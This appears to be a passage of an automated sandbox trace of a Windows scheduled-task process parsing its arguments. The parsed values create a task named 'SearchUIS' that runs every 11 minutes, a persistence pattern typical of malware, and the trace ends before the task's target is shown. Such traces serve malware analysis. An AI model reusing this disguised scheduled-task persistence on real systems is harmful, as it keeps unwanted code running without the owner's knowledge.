[0125.048] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0125.048] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.048] lstrlenW (lpString="sc") returned 2 [0125.048] lstrlenW (lpString="sc") returned 2 [0125.048] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.048] lstrlenW (lpString="tn") returned 2 [0125.048] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.048] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.048] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.048] lstrlenW (lpString="|sc|") returned 4 [0125.048] lstrlenW (lpString="|tn|") returned 4 [0125.048] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0125.048] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.048] lstrlenW (lpString="mo") returned 2 [0125.048] lstrlenW (lpString="mo") returned 2 [0125.048] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.048] lstrlenW (lpString="tn") returned 2 [0125.048] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.048] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.048] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.048] lstrlenW (lpString="|mo|") returned 4 [0125.048] lstrlenW (lpString="|tn|") returned 4 [0125.048] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0125.048] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.048] lstrlenW (lpString="d") returned 1 [0125.048] lstrlenW (lpString="d") returned 1 [0125.048] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.049] lstrlenW (lpString="tn") returned 2 [0125.049] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.049] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|d|") returned 3 [0125.049] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.049] lstrlenW (lpString="|d|") returned 3 [0125.049] lstrlenW (lpString="|tn|") returned 4 [0125.049] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.049] lstrlenW (lpString="m") returned 1 [0125.049] lstrlenW (lpString="m") returned 1 [0125.049] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.049] lstrlenW (lpString="tn") returned 2 [0125.049] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.049] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|m|") returned 3 [0125.049] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.049] lstrlenW (lpString="|m|") returned 3 [0125.049] lstrlenW (lpString="|tn|") returned 4 [0125.049] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.049] lstrlenW (lpString="i") returned 1 [0125.049] lstrlenW (lpString="i") returned 1 [0125.049] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.049] lstrlenW (lpString="tn") returned 2 [0125.049] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.049] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|i|") returned 3 [0125.049] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.049] lstrlenW (lpString="|i|") returned 3 [0125.049] lstrlenW (lpString="|tn|") returned 4 [0125.049] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.049] lstrlenW (lpString="tn") returned 2 [0125.050] lstrlenW (lpString="tn") returned 2 [0125.050] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.050] lstrlenW (lpString="tn") returned 2 [0125.050] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.050] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.050] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.050] lstrlenW (lpString="|tn|") returned 4 [0125.050] lstrlenW (lpString="|tn|") returned 4 [0125.050] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] lstrlenW (lpString="SearchUIS") returned 9 [0125.050] lstrlenW (lpString="-/") returned 2 [0125.050] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] lstrlenW (lpString="SearchUIS") returned 9 [0125.050] StrChrIW (lpStart="SearchUIS", wMatch=0x3a) returned 0x0 [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] lstrlenW (lpString="SearchUIS") returned 9 [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.050] lstrlenW (lpString="/sc") returned 3 [0125.050] lstrlenW (lpString="-/") returned 2 [0125.050] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.050] lstrlenW (lpString="create") returned 6 [0125.050] lstrlenW (lpString="create") returned 6 [0125.050] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.051] lstrlenW (lpString="sc") returned 2 [0125.051] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.051] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|create|") returned 8 [0125.051] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.051] lstrlenW (lpString="|create|") returned 8 [0125.051] lstrlenW (lpString="|sc|") returned 4 [0125.051] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0125.051] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.051] lstrlenW (lpString="?") returned 1 [0125.051] lstrlenW (lpString="?") returned 1 [0125.051] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.051] lstrlenW (lpString="sc") returned 2 [0125.051] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.051] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|?|") returned 3 [0125.051] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.051] lstrlenW (lpString="|?|") returned 3 [0125.051] lstrlenW (lpString="|sc|") returned 4 [0125.051] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.051] lstrlenW (lpString="s") returned 1 [0125.051] lstrlenW (lpString="s") returned 1 [0125.051] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.051] lstrlenW (lpString="sc") returned 2 [0125.051] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.051] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|s|") returned 3 [0125.051] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.051] lstrlenW (lpString="|s|") returned 3 [0125.051] lstrlenW (lpString="|sc|") returned 4 [0125.052] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.052] lstrlenW (lpString="u") returned 1 [0125.052] lstrlenW (lpString="u") returned 1 [0125.052] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.052] lstrlenW (lpString="sc") returned 2 [0125.052] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.052] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|u|") returned 3 [0125.052] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.052] lstrlenW (lpString="|u|") returned 3 [0125.052] lstrlenW (lpString="|sc|") returned 4 [0125.052] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.052] lstrlenW (lpString="p") returned 1 [0125.052] lstrlenW (lpString="p") returned 1 [0125.052] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.052] lstrlenW (lpString="sc") returned 2 [0125.052] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.052] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|p|") returned 3 [0125.052] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.052] lstrlenW (lpString="|p|") returned 3 [0125.052] lstrlenW (lpString="|sc|") returned 4 [0125.052] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.052] lstrlenW (lpString="ru") returned 2 [0125.052] lstrlenW (lpString="ru") returned 2 [0125.052] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.052] lstrlenW (lpString="sc") returned 2 [0125.052] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.052] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|ru|") returned 4 [0125.053] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.053] lstrlenW (lpString="|ru|") returned 4 [0125.053] lstrlenW (lpString="|sc|") returned 4 [0125.053] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0125.053] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.053] lstrlenW (lpString="rp") returned 2 [0125.053] lstrlenW (lpString="rp") returned 2 [0125.053] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.053] lstrlenW (lpString="sc") returned 2 [0125.053] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.053] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|rp|") returned 4 [0125.053] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.053] lstrlenW (lpString="|rp|") returned 4 [0125.053] lstrlenW (lpString="|sc|") returned 4 [0125.053] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0125.053] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.053] lstrlenW (lpString="sc") returned 2 [0125.053] lstrlenW (lpString="sc") returned 2 [0125.053] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.053] lstrlenW (lpString="sc") returned 2 [0125.053] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.053] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.053] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.053] lstrlenW (lpString="|sc|") returned 4 [0125.053] lstrlenW (lpString="|sc|") returned 4 [0125.053] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0125.053] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.053] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.054] lstrlenW (lpString="MINUTE") returned 6 [0125.054] lstrlenW (lpString="-/") returned 2 [0125.054] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0125.054] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.054] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.054] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.054] lstrlenW (lpString="MINUTE") returned 6 [0125.054] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0125.054] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.054] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.054] GetProcessHeap () returned 0x21c24e90000 [0125.054] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e9aad0 [0125.054] _memicmp (_Buf1=0x21c24e9aad0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.054] lstrlenW (lpString="MINUTE") returned 6 [0125.054] GetProcessHeap () returned 0x21c24e90000 [0125.054] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xe) returned 0x21c24e9a910 [0125.054] lstrlenW (lpString="MINUTE") returned 6 [0125.054] lstrlenW (lpString=" \x09") returned 2 [0125.054] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0125.054] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0125.054] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0125.054] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0125.054] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0125.054] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0125.054] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0125.054] GetLastError () returned 0x0 [0125.054] lstrlenW (lpString="MINUTE") returned 6 [0125.054] lstrlenW (lpString="MINUTE") returned 6 [0125.054] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.054] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.054] lstrlenW (lpString="/mo") returned 3 [0125.054] lstrlenW (lpString="-/") returned 2 [0125.055] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.055] lstrlenW (lpString="create") returned 6 [0125.055] lstrlenW (lpString="create") returned 6 [0125.055] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.055] lstrlenW (lpString="mo") returned 2 [0125.055] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.055] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|create|") returned 8 [0125.055] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.055] lstrlenW (lpString="|create|") returned 8 [0125.055] lstrlenW (lpString="|mo|") returned 4 [0125.055] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0125.055] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.055] lstrlenW (lpString="?") returned 1 [0125.055] lstrlenW (lpString="?") returned 1 [0125.055] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.055] lstrlenW (lpString="mo") returned 2 [0125.055] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.055] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|?|") returned 3 [0125.055] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.055] lstrlenW (lpString="|?|") returned 3 [0125.055] lstrlenW (lpString="|mo|") returned 4 [0125.055] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.055] lstrlenW (lpString="s") returned 1 [0125.055] lstrlenW (lpString="s") returned 1 [0125.055] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.055] lstrlenW (lpString="mo") returned 2 [0125.056] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.056] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|s|") returned 3 [0125.056] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.056] lstrlenW (lpString="|s|") returned 3 [0125.056] lstrlenW (lpString="|mo|") returned 4 [0125.056] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.056] lstrlenW (lpString="u") returned 1 [0125.056] lstrlenW (lpString="u") returned 1 [0125.056] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.056] lstrlenW (lpString="mo") returned 2 [0125.056] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.056] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|u|") returned 3 [0125.056] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.056] lstrlenW (lpString="|u|") returned 3 [0125.056] lstrlenW (lpString="|mo|") returned 4 [0125.056] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.056] lstrlenW (lpString="p") returned 1 [0125.056] lstrlenW (lpString="p") returned 1 [0125.056] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.056] lstrlenW (lpString="mo") returned 2 [0125.056] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.056] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|p|") returned 3 [0125.056] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.056] lstrlenW (lpString="|p|") returned 3 [0125.056] lstrlenW (lpString="|mo|") returned 4 [0125.056] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.056] lstrlenW (lpString="ru") returned 2 [0125.056] lstrlenW (lpString="ru") returned 2 [0125.057] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.057] lstrlenW (lpString="mo") returned 2 [0125.057] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.057] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|ru|") returned 4 [0125.057] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.057] lstrlenW (lpString="|ru|") returned 4 [0125.057] lstrlenW (lpString="|mo|") returned 4 [0125.057] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0125.057] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.057] lstrlenW (lpString="rp") returned 2 [0125.057] lstrlenW (lpString="rp") returned 2 [0125.057] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.057] lstrlenW (lpString="mo") returned 2 [0125.057] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.057] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|rp|") returned 4 [0125.057] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.057] lstrlenW (lpString="|rp|") returned 4 [0125.057] lstrlenW (lpString="|mo|") returned 4 [0125.057] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0125.057] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.057] lstrlenW (lpString="sc") returned 2 [0125.057] lstrlenW (lpString="sc") returned 2 [0125.057] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.057] lstrlenW (lpString="mo") returned 2 [0125.057] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.057] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.057] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.058] lstrlenW (lpString="|sc|") returned 4 [0125.058] lstrlenW (lpString="|mo|") returned 4 [0125.058] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0125.058] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.058] lstrlenW (lpString="mo") returned 2 [0125.058] lstrlenW (lpString="mo") returned 2 [0125.058] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.058] lstrlenW (lpString="mo") returned 2 [0125.058] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.058] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.058] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.058] lstrlenW (lpString="|mo|") returned 4 [0125.058] lstrlenW (lpString="|mo|") returned 4 [0125.058] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0125.058] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.058] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.058] lstrlenW (lpString="11") returned 2 [0125.058] lstrlenW (lpString="-/") returned 2 [0125.058] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0125.058] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.058] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.058] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.058] lstrlenW (lpString="11") returned 2 [0125.058] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0125.058] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.058] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.058] _memicmp (_Buf1=0x21c24e9aad0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.058] lstrlenW (lpString="11") returned 2 [0125.058] lstrlenW (lpString="11") returned 2 [0125.058] lstrlenW (lpString=" \x09") returned 2 [0125.059] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0125.059] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0125.059] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0125.059] GetLastError () returned 0x0 [0125.059] lstrlenW (lpString="11") returned 2 [0125.059] lstrlenW (lpString="11") returned 2 [0125.062] GetProcessHeap () returned 0x21c24e90000 [0125.062] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x6) returned 0x21c24e96060 [0125.062] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.062] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.062] lstrlenW (lpString="/tr") returned 3 [0125.062] lstrlenW (lpString="-/") returned 2 [0125.062] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.062] lstrlenW (lpString="create") returned 6 [0125.062] lstrlenW (lpString="create") returned 6 [0125.062] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.062] lstrlenW (lpString="tr") returned 2 [0125.062] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.062] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|create|") returned 8 [0125.062] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.062] lstrlenW (lpString="|create|") returned 8 [0125.062] lstrlenW (lpString="|tr|") returned 4 [0125.062] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0125.062] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.062] lstrlenW (lpString="?") returned 1 [0125.062] lstrlenW (lpString="?") returned 1 [0125.062] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.062] lstrlenW (lpString="tr") returned 2 [0125.062] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.062] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|?|") returned 3 [0125.062] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.062] lstrlenW (lpString="|?|") returned 3 [0125.062] lstrlenW (lpString="|tr|") returned 4 [0125.063] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.063] lstrlenW (lpString="s") returned 1 [0125.063] lstrlenW (lpString="s") returned 1 [0125.063] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.063] lstrlenW (lpString="tr") returned 2 [0125.063] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.063] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|s|") returned 3 [0125.063] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.063] lstrlenW (lpString="|s|") returned 3 [0125.063] lstrlenW (lpString="|tr|") returned 4 